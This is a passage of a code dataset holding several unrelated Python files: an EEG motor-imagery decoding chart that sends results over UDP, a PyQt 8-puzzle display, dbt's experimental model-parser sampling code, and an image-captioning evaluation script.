stats.mode(self.errp_results_temp)[0][0]\r\n if(classification_result == 1):\r\n self.my_socket.sendto('6'.encode('utf-8'),self.ip_address)\r\n print('Classification result:', classification_result)\r\n\r\n self.errp_results_temp = []\r\n self.errp_decoding_loops = 0\r\n self.area_series_errp.setVisible(False)\r\n self.errp_flag = False\r\n return 0\r\n\r\n def change_label_color(self, label_data):\r\n classification_result= stats.mode(label_data)[0][0]\r\n if(classification_result == 0):\r\n self.gradient_labels.setColorAt(0.0, QColor(255,0,0,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(255,0,0,255))\r\n self.gradient_labels.setColorAt(1, QColor(255,0,0,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 1):\r\n self.gradient_labels.setColorAt(0.0, QColor(153,51,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(153,51,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(153,51,255,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 2):\r\n self.gradient_labels.setColorAt(0.0, QColor(255,51,0,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(255,51,0,255))\r\n self.gradient_labels.setColorAt(1, QColor(255,51,0,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 3):\r\n self.gradient_labels.setColorAt(0.0, QColor(102,255,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(102,255,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(102,255,255,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 6):\r\n self.gradient_labels.setColorAt(0.0, QColor(255,255,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(255,255,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(255,255,255,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 7):\r\n self.gradient_labels.setColorAt(0.0, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(0,0,255,255))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n if(classification_result == 0.5):\r\n self.gradient_labels.setColorAt(0.0, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(0.5, QColor(0,0,255,255))\r\n self.gradient_labels.setColorAt(1, QColor(0,0,255,50))\r\n self.area_series_labels.setBrush(self.gradient_labels)\r\n return 0\r\n\r\n def mi_decoding(self):\r\n if(self.decoding_loops<=8):\r\n eeg_data = self.EEG_EOG_Cat_classification[1:23,self.signal_index-450:self.signal_index-50]\r\n n_classes = 4\r\n eeg_data = np.expand_dims(eeg_data, axis= 0)\r\n filtered_data_test = self.fbank.filter_data(eeg_data)\r\n y_test_predicted = np.zeros((1, n_classes), dtype=np.float)\r\n for j in range(n_classes):\r\n x_features_test = self.fbcsp.transform(filtered_data_test,class_idx=j)\r\n y_test_predicted[0,j] = self.fbcsp_classifier.predict(x_features_test[0].reshape(1,-1))\r\n y_test_predicted_multi = self.get_multi_class_regressed(y_test_predicted)\r\n result = y_test_predicted_multi[0]\r\n print(result)\r\n if(result==0):\r\n self.gradient.setColorAt(0.0, QColor(255,0,0,50))\r\n self.gradient.setColorAt(0.5, QColor(255,0,0,50))\r\n self.gradient.setColorAt(1, QColor(255,0,0,50))\r\n self.area_series.setBrush(self.gradient)\r\n if(result==1):\r\n self.gradient.setColorAt(0.0, QColor(153,51,255,50))\r\n self.gradient.setColorAt(0.5, QColor(153,51,255,50))\r\n self.gradient.setColorAt(1, QColor(153,51,255,50))\r\n self.area_series.setBrush(self.gradient)\r\n if(result==2):\r\n self.gradient.setColorAt(0.0, QColor(255,51,0,50))\r\n self.gradient.setColorAt(0.5, QColor(255,51,0,50))\r\n self.gradient.setColorAt(1, QColor(255,51,0,50))\r\n self.area_series.setBrush(self.gradient)\r\n if(result==3):\r\n self.gradient.setColorAt(0.0, QColor(102,255,255,50))\r\n self.gradient.setColorAt(0.5, QColor(102,255,255,50))\r\n self.gradient.setColorAt(1, QColor(102,255,255,50))\r\n self.area_series.setBrush(self.gradient)\r\n self.mi_results_temp.append(result)\r\n self.decoding_loops += 1\r\n else:\r\n classification_result= stats.mode(self.mi_results_temp)[0][0] + 2\r\n print('Classification result:', classification_result)\r\n self.my_socket.sendto(str(classification_result).encode('utf-8'),self.ip_address)\r\n self.mi_results_temp = []\r\n self.errp_flag = True\r\n self.start_position = -1\r\n self.mi_end = True\r\n \r\n if(self.mi_end == True):\r\n self.decoding_loops = 0\r\n self.gradient.setColorAt(0.0, QColor(0,0,255,50))\r\n self.gradient.setColorAt(0.5, QColor(0,0,255,50))\r\n self.gradient.setColorAt(1, QColor(0,0,255,50))\r\n self.area_series.setBrush(self.gradient)\r\n return 0\r\n\r\n @Slot()\r\n def handleTimeout(self):\r\n y = (self._axisX.max() - self._axisX.min()) / self._axisX.tickCount()\r\n self._x += y\r\n\r\n start = 0\r\n available_samples = 20\r\n if(self.signal_index >= self.data_package.shape[1]- (2 * available_samples)):\r\n QApplication.exit()\r\n if (available_samples < self.SAMPLE_COUNT):\r\n start = self.SAMPLE_COUNT - available_samples\r\n for s in range(start):\r\n for i in range(len(self.all_series)):\r\n self.all_buffers[i][s].setY(self.all_buffers[i][s + available_samples].y())\r\n \r\n for s in range(start, self.SAMPLE_COUNT):\r\n for i in range(len(self.all_series)):\r\n value = self.data_package[i][self.signal_index]\r\n self.all_buffers[i][s].setY(value + i*(self.max - self.min))\r\n self.signal_index = self.signal_index + 1\r\n for i in range(len(self.all_series)):\r\n self.all_series[i].replace(self.all_buffers[i])\r\n current_data = self.data_package[1,self.signal_index-400:self.signal_index-200]\r\n self.change_label_color(current_data)\r\n if(self.signal_index > 400):\r\n eog_data = self.EEG_EOG_Cat_classification[0,self.signal_index-450:self.signal_index-50]\r\n eog_result = self.identify_eog(eog_data)\r\n if(eog_result == 0):\r\n self.eog_triggered_time = 0\r\n self.area_series_eog.setVisible(False)\r\n else:\r\n if(self.mi_end == True):\r\n self.eog_start_pos = self.signal_index\r\n self.start_position = self.signal_index\r\n self.area_series_eog.setVisible(True)\r\n self.eog_triggered_time +=1\r\n\r\n if(self.start_position != -1 and self.start_position+650 > self.signal_index and (self.signal_index-self.eog_start_pos)>0):\r\n self.mi_end = False\r\n self.mi_decoding()\r\n\r\n if(self.start_position==-1):\r\n self.mi_end = True\r\n if(self.mi_end == True):\r\n self.decoding_loops = 0\r\n self.gradient.setColorAt(0.0, QColor(0,0,255,50))\r\n self.gradient.setColorAt(0.5, QColor(0,0,255,50))\r\n self.gradient.setColorAt(1, QColor(0,0,255,50))\r\n self.area_series.setBrush(self.gradient)\r\n if(self.errp_flag == True):\r\n self.errp_decoding()\r\n\r\n","repo_name":"Delusionx1/HEEG_Online","sub_path":"HEEG_Online/chart.py","file_name":"chart.py","file_ext":"py","file_size_in_byte":18038,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"}
+{"seq_id":"19749060739","text":"import sys\r\nimport time\r\nfrom functools import partial\r\n\r\nimport random\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QMessageBox\r\n\r\nimport Astar\r\nimport ReRankSudoku\r\n\r\nlist_range = [1,2,3,4,5,6,7,8,0]\r\n\r\ndef display(display_range):\r\n ui.label_0.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[0])))\r\n ui.label_1.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[1])))\r\n ui.label_2.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[2])))\r\n ui.label_3.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[3])))\r\n ui.label_4.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[4])))\r\n ui.label_5.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[5])))\r\n ui.label_6.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[6])))\r\n ui.label_7.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[7])))\r\n ui.label_8.setPixmap(QtGui.QPixmap(\":/material/result/\"+str(display_range[8])))\r\n sum = 0\r\n for num in display_range:\r\n sum *=10\r\n sum +=num\r\n ui.label_0.repaint()\r\n ui.label_1.repaint()\r\n ui.label_2.repaint()\r\n ui.label_3.repaint()\r\n ui.label_4.repaint()\r\n ui.label_5.repaint()\r\n ui.label_6.repaint()\r\n ui.label_7.repaint()\r\n ui.label_8.repaint()\r\n ui.list_end.setText(str(sum))\r\n\r\ndef inverse_number(range_l):\r\n flag=0\r\n for ind_s,s in enumerate(range_l):\r\n if s==0:\r\n continue\r\n for t in range_l[ind_s:]:\r\n if t==0:\r\n continue\r\n if t ParsedModelNode:\n if validate:\n ParsedModelNode.validate(dct)\n return ParsedModelNode.from_dict(dct)\n\n @property\n def resource_type(self) -> NodeType:\n return NodeType.Model\n\n @classmethod\n def get_compiled_path(cls, block: FileBlock):\n return block.path.relative_path\n\n # TODO when this is turned on by default, simplify the nasty if/else tree inside this method.\n def render_update(\n self, node: ParsedModelNode, config: ContextConfig\n ) -> None:\n # TODO go back to 1/100 when this is turned on by default.\n # `True` roughly 1/50 times this function is called\n sample: bool = random.randint(1, 51) == 50\n\n # top-level declaration of variables\n experimentally_parsed: Optional[Union[str, Dict[str, List[Any]]]] = None\n config_call_dict: Dict[str, Any] = {}\n source_calls: List[List[str]] = []\n result: List[str] = []\n\n # run the experimental parser if the flag is on or if we're sampling\n if flags.USE_EXPERIMENTAL_PARSER or sample:\n if self._has_banned_macro(node):\n experimentally_parsed = \"has_banned_macro\"\n else:\n # run the experimental parser and return the results\n try:\n experimentally_parsed = py_extract_from_source(\n node.raw_sql\n )\n logger.debug(f\"1699: statically parsed {node.path}\")\n # if we want information on what features are barring the experimental\n # parser from reading model files, this is where we would add that\n # since that information is stored in the `ExtractionError`.\n except ExtractionError:\n experimentally_parsed = \"cannot_parse\"\n\n # if the parser succeeded, extract some data in easy-to-compare formats\n if isinstance(experimentally_parsed, dict):\n # create second config format\n for c in experimentally_parsed['configs']:\n ContextConfig._add_config_call(config_call_dict, {c[0]: c[1]})\n\n # format sources TODO change extractor to match this type\n for s in experimentally_parsed['sources']:\n source_calls.append([s[0], s[1]])\n experimentally_parsed['sources'] = source_calls\n\n # if we're sampling during a normal dbt run, populate an entirely new node to compare\n if not flags.USE_EXPERIMENTAL_PARSER:\n if sample and isinstance(experimentally_parsed, dict):\n # if this will _never_ mutate anything `self` we could avoid these deep copies,\n # but we can't really guarantee that going forward.\n model_parser_copy = self.partial_deepcopy()\n exp_sample_node = deepcopy(node)\n exp_sample_config = deepcopy(config)\n\n model_parser_copy.populate(\n exp_sample_node,\n exp_sample_config,\n experimentally_parsed\n )\n\n super().render_update(node, config)\n\n # if the --use-experimental-parser flag was set, and the experimental parser succeeded\n elif isinstance(experimentally_parsed, dict):\n # update the unrendered config with values from the static parser.\n # values from yaml files are in there already\n self.populate(\n node,\n config,\n experimentally_parsed\n )\n\n self.manifest._parsing_info.static_analysis_parsed_path_count += 1\n\n # the experimental parser didn't run on this model.\n # fall back to python jinja rendering.\n elif isinstance(experimentally_parsed, str):\n if experimentally_parsed == \"cannot_parse\":\n result += [\"01_stable_parser_cannot_parse\"]\n logger.debug(\n f\"1602: parser fallback to jinja for {node.path}\"\n )\n elif experimentally_parsed == \"has_banned_macro\":\n result += [\"08_has_banned_macro\"]\n logger.debug(\n f\"1601: parser fallback to jinja because of macro override for {node.path}\"\n )\n\n super().render_update(node, config)\n # otherwise jinja rendering.\n else:\n super().render_update(node, config)\n\n if sample and isinstance(experimentally_parsed, dict):\n # now that the sample succeeded, is populated and the current\n # values are rendered, compare the two and collect the tracking messages\n result += _get_exp_sample_result(\n exp_sample_node,\n exp_sample_config,\n node,\n config,\n )\n\n # fire a tracking event. this fires one event for every sample\n # so that we have data on a per file basis. Not only can we expect\n # no false positives or misses, we can expect the number model\n # files parseable by the experimental parser to match our internal\n # testing.\n if result and tracking.active_user is not None: # None in some tests\n tracking.track_experimental_parser_sample({\n \"project_id\": self.root_project.hashed_name(),\n \"file_id\": utils.get_hash(node),\n \"status\": result\n })\n\n # checks for banned macros\n def _has_banned_macro(\n self, node: ParsedModelNode\n ) -> bool:\n # first check if there is a banned macro defined in scope for this model file\n root_project_name = self.root_project.project_name\n project_name = node.package_name\n banned_macros = ['ref', 'source', 'config']\n\n all_banned_macro_keys: Iterator[str] = chain.from_iterable(\n map(\n lambda name: [\n f\"macro.{project_name}.{name}\",\n f\"macro.{root_project_name}.{name}\"\n ],\n banned_macros\n )\n )\n\n return reduce(\n lambda z, key: z or (key in self.manifest.macros),\n all_banned_macro_keys,\n False\n )\n\n # this method updates the model note rendered and unrendered config as well\n # as the node object. Used to populate these values when circumventing jinja\n # rendering like the static parser.\n def populate(\n self,\n node: ParsedModelNode,\n config: ContextConfig,\n experimentally_parsed: Dict[str, Any]\n ):\n # manually fit configs in\n config._config_call_dict = _get_config_call_dict(experimentally_parsed)\n\n # if there are hooks present this, it WILL render jinja. Will need to change\n # when the experimental parser supports hooks\n self.update_parsed_node_config(node, config)\n\n # update the unrendered config with values from the file.\n # values from yaml files are in there already\n node.unrendered_config.update(experimentally_parsed['configs'])\n\n # set refs and sources on the node object\n node.refs += experimentally_parsed['refs']\n node.sources += experimentally_parsed['sources']\n\n # configs don't need to be merged into the node because they\n # are read from config._config_call_dict\n\n # the manifest is often huge so this method avoids deepcopying it\n def partial_deepcopy(self):\n return ModelParser(\n deepcopy(self.project),\n self.manifest,\n deepcopy(self.root_project)\n )\n\n\n# pure function. safe to use elsewhere, but unlikely to be useful outside this file.\ndef _get_config_call_dict(\n static_parser_result: Dict[str, List[Any]]\n) -> Dict[str, Any]:\n config_call_dict: Dict[str, Any] = {}\n\n for c in static_parser_result['configs']:\n ContextConfig._add_config_call(config_call_dict, {c[0]: c[1]})\n\n return config_call_dict\n\n\n# returns a list of string codes to be sent as a tracking event\ndef _get_exp_sample_result(\n sample_node: ParsedModelNode,\n sample_config: ContextConfig,\n node: ParsedModelNode,\n config: ContextConfig\n) -> List[str]:\n result: List[Tuple[int, str]] = _get_sample_result(sample_node, sample_config, node, config)\n\n def process(codemsg):\n code, msg = codemsg\n return f\"0{code}_experimental_{msg}\"\n\n return list(map(process, result))\n\n\n# returns a list of messages and int codes and messages that need a single digit\n# prefix to be prepended before being sent as a tracking event\ndef _get_sample_result(\n sample_node: ParsedModelNode,\n sample_config: ContextConfig,\n node: ParsedModelNode,\n config: ContextConfig\n) -> List[Tuple[int, str]]:\n result: List[Tuple[int, str]] = []\n # look for false positive configs\n for k in sample_config._config_call_dict:\n if k not in config._config_call_dict:\n result += [(2, \"false_positive_config_value\")]\n break\n\n # look for missed configs\n for k in config._config_call_dict.keys():\n if k not in sample_config._config_call_dict.keys():\n result += [(3, \"missed_config_value\")]\n break\n\n # look for false positive sources\n for s in sample_node.sources:\n if s not in node.sources:\n result += [(4, \"false_positive_source_value\")]\n break\n\n # look for missed sources\n for s in node.sources:\n if s not in sample_node.sources:\n result += [(5, \"missed_source_value\")]\n break\n\n # look for false positive refs\n for r in sample_node.refs:\n if r not in node.refs:\n result += [(6, \"false_positive_ref_value\")]\n break\n\n # look for missed refs\n for r in node.refs:\n if r not in sample_node.refs:\n result += [(7, \"missed_ref_value\")]\n break\n\n # if there are no errors, return a success value\n if not result:\n result = [(0, \"exact_match\")]\n\n return result\n","repo_name":"denironyx/learn_dbt_project","sub_path":"dbt_env/Lib/site-packages/dbt/parser/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"17835580245","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport json\nimport numpy as np\n\nimport sys, codecs\n# sys.stdout = codecs.getwriter(\"utf-8\")(sys.stdout)\n\nimport time\nimport os\nimport _pickle as cPickle\n# from six.moves import cPickle\n\nimport opts\nimport models\nfrom dataloader import *\nfrom dataloaderraw import *\nimport eval_utils\nimport argparse\nimport misc.utils as utils\nimport torch\nimport similality.cos_distance as sim\nimport Discriminator.utils as dis_utils\nimport Discriminator.dataloader_for_dis as dis_dataloader\n\n# Input arguments and options\nparser = argparse.ArgumentParser()\n\ndir = '/mnt/poplin/share/2018/nakamura_M1/self_sequential/data/'\n# Input paths\nparser.add_argument('--model', type=str, default='',\n help='path to model to evaluate')\nparser.add_argument('--discriminator', type=str, default=None,\n help='path to model to evaluate')\nparser.add_argument('--manager', type=str, default='None',\n help='path to manger to evaluate')\nparser.add_argument('--cnn_model', type=str, default='resnet101',\n help='resnet101, resnet152')\nparser.add_argument('--infos_path', type=str, default='',\n help='path to infos to evaluate')\n# Basic options\nparser.add_argument('--batch_size', type=int, default=0,\n help='if > 0 then overrule, otherwise load from checkpoint.')\nparser.add_argument('--num_images', type=int, default=-1,\n help='how many images to use when periodically evaluating the loss? (-1 = all)')\nparser.add_argument('--language_eval', type=int, default=0,\n help='Evaluate language as well (1 = yes, 0 = no)? BLEU/CIDEr/METEOR/ROUGE_L? requires coco-caption code from Github.')\nparser.add_argument('--dump_images', type=int, default=1,\n help='Dump images into vis/imgs folder for vis? (1=yes,0=no)')\nparser.add_argument('--dump_json', type=int, default=1,\n help='Dump json with predictions into vis folder? (1=yes,0=no)')\nparser.add_argument('--dump_path', type=int, default=0,\n help='Write image paths along with predictions into vis json? (1=yes,0=no)')\n\n# Sampling options\nparser.add_argument('--sample_max', type=int, default=1,\n help='1 = sample argmax words. 0 = sample from distributions.')\nparser.add_argument('--max_ppl', type=int, default=0,\n help='beam search by max perplexity or max probability.')\nparser.add_argument('--beam_size', type=int, default=2,\n help='used when sample_max = 1, indicates number of beams in beam search. Usually 2 or 3 works well. More is not better. Set this to 1 for faster runtime but a bit worse performance.')\nparser.add_argument('--group_size', type=int, default=1,\n help='used for diverse beam search. if group_size is 1, then it\\'s normal beam search')\nparser.add_argument('--diversity_lambda', type=float, default=0.5,\n help='used for diverse beam search. Usually from 0.2 to 0.8. Higher value of lambda produces a more diverse list')\nparser.add_argument('--temperature', type=float, default=1.0,\n help='temperature when sampling from distributions (i.e. when sample_max = 0). Lower = \"safer\" predictions.')\nparser.add_argument('--decoding_constraint', type=int, default=0,\n help='If 1, not allowing same word in a row')\n# For evaluation on a folder of images:\nparser.add_argument('--image_folder', type=str, default='', \n help='If this is nonempty then will predict on the images in this folder path')\nparser.add_argument('--image_root', type=str, default='', \n help='In case the image paths have to be preprended with a root path to an image folder')\n# For evaluation on MSCOCO images from some split:\nparser.add_argument('--input_fc_dir', type=str, default=dir + 'data/cocotalk_fc',\n help='path to the directory containing the preprocessed fc feats')\nparser.add_argument('--input_att_dir', type=str, default=dir + 'data/cocotalk_att',\n help='path to the directory containing the preprocessed att feats')\nparser.add_argument('--input_box_dir', type=str, default=dir + 'data/cocotalk_box',\n help='path to the directory containing the boxes of att feats')\nparser.add_argument('--input_label_h5', type=str, default=dir + 'data/coco_label.h5',\n help='path to the h5file containing the preprocessed dataset')\nparser.add_argument('--input_json', type=str, default='', \n help='path to the json file containing additional info and vocab. empty = fetch from model checkpoint.')\nparser.add_argument('--input_bu_feature', type=str, default='/mnt/poplin/share/2018/nakamura_M1/self_sequential/data/data/bbox_info.json',\n help='path to the h5file containing the preprocessed dataset')\nparser.add_argument('--input_subatt_dir', type=str, default=dir + 'data/cocotalk_att',\n help='path to the directory containing the preprocessed att feats')\nparser.add_argument('--split', type=str, default='test',\n help='if running on MSCOCO images, which split to use: val|test|train')\nparser.add_argument('--coco_json', type=str, default='', \n help='if nonempty then use this file in DataLoaderRaw (see docs there). Used only in MSCOCO test evaluation, where we have a specific json file of only test set images.')\nparser.add_argument('--sim_pred_type', type=int, default=2, help='select similarity predictor')\n# misc\nparser.add_argument('--id', type=str, default='', \n help='an id identifying this run/job. used only if language_eval = 1 for appending to intermediate files')\nparser.add_argument('--verbose_beam', type=int, default=1, \n help='if we need to print out all beam search beams.')\nparser.add_argument('--verbose_loss', type=int, default=0, \n help='if we need to calculate loss.')\nparser.add_argument('--attention_output', type=bool, default=False,\n help='if we need to output attention.')\n\nparser.add_argument('--internal_model', type=str, default='',\n help='P or R')\nparser.add_argument('--internal_dir', type=str, default='')\nparser.add_argument('--output', type=int, default=0)\nparser.add_argument('--seq_length', type=int, default=20)\nparser.add_argument('--sub_seq_flg', type=int, default=0)\nparser.add_argument('--region_bleu_flg', type=int, default=0)\nparser.add_argument('--dataset', type=str, default='coco')\nparser.add_argument('--use_weight_probability', type=int, default=0)\nparser.add_argument('--max_att_len', type=int, default=36)\nparser.add_argument('--weight_deterministic_flg', type=int, default=0)\nparser.add_argument('--whole_att_flg', type=int, default=0, help='To evaluate baseline method, whole image feature is used as a attention')\nparser.add_argument('--baseline_concat', type=int, default=0)\n\nparser.add_argument('--gpu', type=int, default=0)\n\nparser.add_argument('--prohibit_flg', type=int, default=0, help='use prohibition of return saliency')\nparser.add_argument('--prohibit_flg_hard', type=int, default=0, help='use prohibition of return saliency for hard attention')\n\nparser.add_argument('--min_seq_length', type=int, default=-1,\n help='minimun number of sequrnse length')\nparser.add_argument('--bleu_option', type=str, default='closest',\n help='closest ot times')\nparser.add_argument('--p_switch', type=int, default=0)\nparser.add_argument('--area_feature_use', type=int, default=0)\nparser.add_argument('--selected_region_file', type=str, default=None)\nparser.add_argument('--use_next_region', type=int, default=0)\n\nopt = parser.parse_args()\n\n# opt.model = '/mnt/poplin/share/2018/nakamura_M1/self_sequential/log/' + opt.model\n# opt.infos_path ='/mnt/poplin/share/2018/nakamura_M1/self_sequential/log/' + opt.infos_path\n# opt.manager = '/mnt/poplin/share/2018/nakamura_M1/self_sequential/log/' + opt.manager\n# opt.internal_dir = '/mnt/poplin/share/2018/nakamura_M1/self_sequential/log/' + opt.internal_dir\n\nmnt_path = '/mnt/workspace2019/nakamura/selfsequential/log_python3/'\n\nopt.model = mnt_path + opt.model\nif opt.discriminator is not None:\n opt.discriminator = mnt_path + opt.discriminator\nopt.sim_model_dir = mnt_path + 'log_' + opt.id + '/sim_model' + opt.model[-13:-4] + '.pth'\nopt.infos_path = mnt_path + opt.infos_path\n# opt.manager = '/mnt/poplin/share/2018/nakamura_M1/self_sequential/log/' + opt.manager\nopt.internal_dir = mnt_path + opt.internal_dir\n\ntorch.cuda.set_device(opt.gpu)\n\nclass MyEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return obj.tolist()\n else:\n return super(MyEncoder, self).default(obj)\n\n# Load infos\n# with open(opt.infos_path) as f:\n# infos = cPickle.load(f)\nwith open(opt.infos_path, mode='rb') as f:\n infos = cPickle.load(f, encoding='latin1')\n\n# with open('/mnt/workspace2018/nakamura/IAPR/iapr_talk_mod.json', mode='rb')\n# infos = cPickle.load(f, encoding='latin1')\n\n# override and collect parameters\nif len(opt.input_fc_dir) == 0:\n opt.input_fc_dir = infos['opt'].input_fc_dir\n opt.input_att_dir = infos['opt'].input_att_dir\n # opt.input_box_dir = infos['opt'].input_box_dir\n opt.input_label_h5 = infos['opt'].input_label_h5\nif len(opt.input_json) == 0:\n opt.input_json = infos['opt'].input_json\nif opt.batch_size == 0:\n opt.batch_size = infos['opt'].batch_size\nif len(opt.id) == 0:\n opt.id = infos['opt'].id\n# opt.input_bu_feature = infos['opt'].input_bu_feature\nopt.sum_reward_rate = 1\n# ignore = [\"id\", \"batch_size\", \"beam_size\", \"start_from\", \"language_eval\",\"gpu\"]\nignore = [\"id\", \"batch_size\", \"beam_size\", \"start_from\", \"language_eval\",\"gpu\", \"seq_length\", \"dataset\", 'region_bleu_flg',\n 'input_label_h5', \"input_box_dir\", \"input_json\", \"internal_model\", \"prohibit_flg_hard\", \"input_bu_feature\", \"sum_reward_rate\"]\nfor k in vars(infos['opt']).keys():\n if k not in ignore:\n if k in vars(opt):\n # pdb.set_trace()\n print('-----')\n print(k)\n print(vars(opt)[k])\n print(vars(infos['opt'])[k])\n print('-----')\n # assert vars(opt)[k] == vars(infos['opt'])[k], k + ' option not consistent'\n else:\n vars(opt).update({k: vars(infos['opt'])[k]}) # copy over options from model\n\nvocab = infos['vocab'] # ix -> word mapping\n\nopt.multi_learn_flg = 0\nopt.critic_probabilistic = 0\nopt.ppo_flg = 0\nopt.ppo = 0\nopt.critic_encode = 0\nopt.actor_critic_flg = 0\n\n# Setup the model\nprint('Setup the model')\nmodel = models.setup(opt)\nmodel.load_state_dict(torch.load(opt.model, map_location='cuda:0'))\nmodel.cuda()\nmodel.eval()\n\n# if infos['opt'].discriminator_weight > 0:\n# Discriminator = dis_utils.Discriminator(infos['opt'])\n# # discrimiantor_model_dir = '/mnt/workspace2018/nakamura/selfsequential/discriminator_log/coco/discriminator_150.pth'\n# discrimiantor_model_dir = '/mnt/workspace2018/nakamura/selfsequential/discriminator_log/iapr_dict/discriminator_125.pth'\n# Discriminator.load_state_dict(torch.load(discrimiantor_model_dir, map_location='cuda:' + str(opt.gpu)))\n# Discriminator = Discriminator.cuda()\n# Discriminator.eval()\n#\n# Discriminator_learned = dis_utils.Discriminator(infos['opt'])\n# discrimiantor_model_dir = opt.discriminator\n# Discriminator_learned.load_state_dict(torch.load(discrimiantor_model_dir, map_location='cuda:' + str(opt.gpu)))\n# Discriminator_learned = Discriminator_learned.cuda()\n# Discriminator_learned.eval()\n# else:\n# Discriminator = None\n# Discriminator_learned = None\n\n\n\nif opt.discriminator is not None:\n infos['opt'].cut_length = 5\n Discriminator = dis_utils.Discriminator(infos['opt'])\n # discrimiantor_model_dir = '/mnt/workspace2018/nakamura/selfsequential/discriminator_log/coco/discriminator_150.pth'\n # discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/discriminator_log/sew/discriminator_900.pth'\n discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/discriminator_log/vg_cut5/discriminator_200.pth'\n Discriminator.load_state_dict(torch.load(discrimiantor_model_dir, map_location='cuda:' + str(opt.gpu)))\n Discriminator = Discriminator.cuda()\n Discriminator.eval()\n\n Discriminator_learned = dis_utils.Discriminator(infos['opt'])\n discrimiantor_model_dir = opt.discriminator\n if not os.path.isfile(discrimiantor_model_dir):\n # discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/log_python3/log_xe_with_disc500_vg_woic_wdf4_rand/discriminator_30_48000.pth'\n discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/log_python3/log_xe_with_disc500_vg_simple_wdf5_lr01_rand/discriminator_30_48000.pth'\n # discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/log_python3/log_xe_wirh_disc1000_vg_woic_limitlength_spuls/discriminator_36_57000.pth'\n # discrimiantor_model_dir = '/mnt/workspace2019/nakamura/selfsequential/log_python3/log_xe_wirh_disc1000_vg_woic_limitlength/discriminator_42_66000.pth'\n Discriminator_learned.load_state_dict(torch.load(discrimiantor_model_dir, map_location='cuda:' + str(opt.gpu)))\n Discriminator_learned = Discriminator_learned.cuda()\n Discriminator_learned.eval()\nelse:\n Discriminator = None\n Discriminator_learned = None\n\n# if opt.manager != 'manager_model':\n# if opt.manager_model == 'manager':\n# manager = models.ManagerModel(opt)\n# elif opt.manager_model == 'manager_lstm':\n# manager = models.ManagerModel_lstm(opt)\n# elif opt.manager_model == 'manager_fc':\n# manager = models.ManagerModel_fc(opt)\n# if vars(opt).get('start_from', None) is not None:\n# # check if all necessary files exist\n# print('manager_load')\n# assert os.path.isdir(opt.start_from), \" %s must be a a path\" % opt.start_from\n# assert os.path.isfile(os.path.join(opt.start_from,\n# \"infos_\" + opt.id + \".pkl\")), \"infos.pkl file does not exist in path %s\" % opt.start_from\n\nif infos['opt'].caption_model == 'hcatt_hard' or infos['opt'].caption_model == 'hcatt_hard_nregion' or \\\n infos['opt'].caption_model == 'basicxt_hard_nregion':\n crit = utils.LanguageModelCriterion_hard()\nelse:\n crit = utils.LanguageModelCriterion()\nopt.sim_model = None\n\n\n# Create the Data Loader instance\nprint('Create the Data Loader instance')\nif len(opt.image_folder) == 0:\n loader = DataLoader(opt)\nelse:\n loader = DataLoaderRaw({'folder_path': opt.image_folder, \n 'coco_json': opt.coco_json,\n 'batch_size': opt.batch_size,\n 'cnn_model': opt.cnn_model})\n print('Data load!')\n# When eval using provided pretrained model, the vocab may be different from what you have in your cocotalk.json\n# So make sure to use the vocab in infos file.\n\nloader.ix_to_word = infos['vocab']\n\nif opt.internal_model == 'sim' or opt.internal_model == 'sim_dammy' or infos['opt'].caption_model == 'hcatt_hard':\n sim_model = sim.Sim_model(opt.input_encoding_size, opt.rnn_size, vocab_size=loader.vocab_size)\n if opt.sim_pred_type == 0:\n # model_root = '/mnt/workspace2018/nakamura/vg_feature/model_cossim2/model_13_1700.pt'\n model_root = '/mnt/workspace2018/nakamura/vg_feature/model_cossim_bu/model_6_0.pt'\n elif opt.sim_pred_type == 1:\n model_root = '/mnt/workspace2018/nakamura/vg_feature/model_cossim_noshuffle04model_71_1300.pt'\n elif opt.sim_pred_type == 2:\n model_root = opt.sim_model_dir\n\n try:\n checkpoint = torch.load(model_root, map_location='cuda:0')\n sim_model.load_state_dict(checkpoint['model_state_dict'])\n except KeyError:\n sim_model.load_state_dict(torch.load(model_root, map_location='cuda:' + str(opt.gpu)))\n sim_model.cuda()\n sim_model.eval()\n opt.sim_model = sim_model\n for param in sim_model.parameters():\n param.requires_grad = False\n\n if infos['opt'].caption_model == 'hcatt_hard':\n internal = None\n else:\n internal = 